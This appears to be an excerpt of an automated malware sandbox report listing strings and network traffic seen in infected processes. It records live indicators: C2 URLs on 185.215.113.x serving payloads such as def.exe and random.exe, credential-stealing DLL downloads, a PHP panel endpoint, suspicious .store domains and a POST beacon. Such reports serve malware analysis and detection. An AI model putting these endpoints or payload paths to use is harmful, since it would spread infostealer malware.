class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001D.00000002.3002770667.000001E764EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com equals www.facebook.com (Facebook)
Source: 5e28f62265.exe, 0000000E.00000002.2872503663.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2997276165.000001E763B1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2955106076.000001E752C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/videoCS_removeLogEventListenerbrowsing-context-discardedPREF_BRANCH_WAS_REGISTEREDIDB_MIGRATE_RESULT_HISTOGRAM equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2955106076.000001E752C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/video`^U equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3011244155.000021593DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.comZ equals www.facebook.com (Facebook)
Source: 5e28f62265.exe, 0000000E.00000003.2836170550.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: illa Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blockingC:\Program Files\Mozilla Firefox\firefox.exewinsta0\defaultALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.2839804513.000001E3C87AD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2844813161.000001E3C87B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: osk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2846485551.000001E3C8A74000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2843256720.000001E3C8A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s--kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevationUser equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: webIsolated=https://facebook.comhttps://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3011244155.000021593DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3002770667.000001E764EB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2997633717.000001E763CAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3011244155.000021593DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3011244155.000021593DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com_ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2995380035.000001E7639A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2997633717.000001E763C32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E7639D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: firefox.exe, 0000001D.00000002.2983794051.000001E7627A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: e192e43b61.exe, 0000000A.00000003.2897509232.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000002.3030925786.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000002.3033486793.0000000001467000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/9
Source: file.exe, 00000000.00000003.2004614587.0000000001751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/=C
Source: file.exe, 00000000.00000003.2004614587.0000000001751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/R
Source: e192e43b61.exe, 0000000A.00000003.2897509232.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/U
Source: e192e43b61.exe, 0000000B.00000002.3033486793.0000000001467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/_
Source: e192e43b61.exe, 0000000B.00000002.3032149823.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/c
Source: e192e43b61.exe, 0000000A.00000003.2897509232.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/g
Source: e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/k
Source: e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: e192e43b61.exe, 0000000B.00000002.3032599767.0000000001452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeL
Source: file.exe, 00000000.00000003.2004614587.0000000001751000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2897509232.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000002.3032979304.0000000001104000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000002.3032599767.0000000001452000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: e192e43b61.exe, 0000000A.00000002.3013027936.000000000084A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe.exe
Source: e192e43b61.exe, 0000000A.00000003.2897509232.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0
Source: e192e43b61.exe, 0000000B.00000002.3032599767.0000000001452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeF
Source: file.exe, 00000000.00000003.2004614587.0000000001751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: e192e43b61.exe, 0000000B.00000002.3032599767.0000000001452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exev
Source: e192e43b61.exe, 0000000B.00000002.3032599767.0000000001452000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: e192e43b61.exe, 0000000A.00000003.2897509232.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe:
Source: file.exe, 00000000.00000003.2004614587.0000000001751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeencoded
Source: e192e43b61.exe, 0000000B.00000002.3030925786.00000000013DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/t
Source: e192e43b61.exe, 0000000B.00000002.3030925786.00000000013D4000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/mine/random.exe
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.000000000127E000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000001A.00000002.2908035174.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206-u
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000000C.00000002.2751119481.000000000194E000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000001A.00000002.2908035174.000000000143E000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000001A.00000002.2908035174.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/freebl3.dll
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/mozglue.dll
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/msvcp140.dll
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/msvcp140.dlll
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/nss3.dll
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/nss3.dllK
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/softokn3.dll
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/sqlite3.dllo
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/sqlite3.dlls
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dll
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dllTemp
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/1
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/L
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/a
Source: b0b9f39429.exe, 0000000C.00000002.2751119481.000000000194E000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php)
Source: b0b9f39429.exe, 0000000C.00000002.2751119481.000000000194E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php/
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000000C.00000002.2751119481.0000000001933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php2
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php7
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpA
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpCGCBGDBKJJKEBFBFH
Source: b0b9f39429.exe, 0000000C.00000002.2751119481.000000000194E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpH
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpP
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpY
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php_
Source: b0b9f39429.exe, 0000000C.00000002.2751119481.000000000194E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpd
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.0000000000821000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpion:
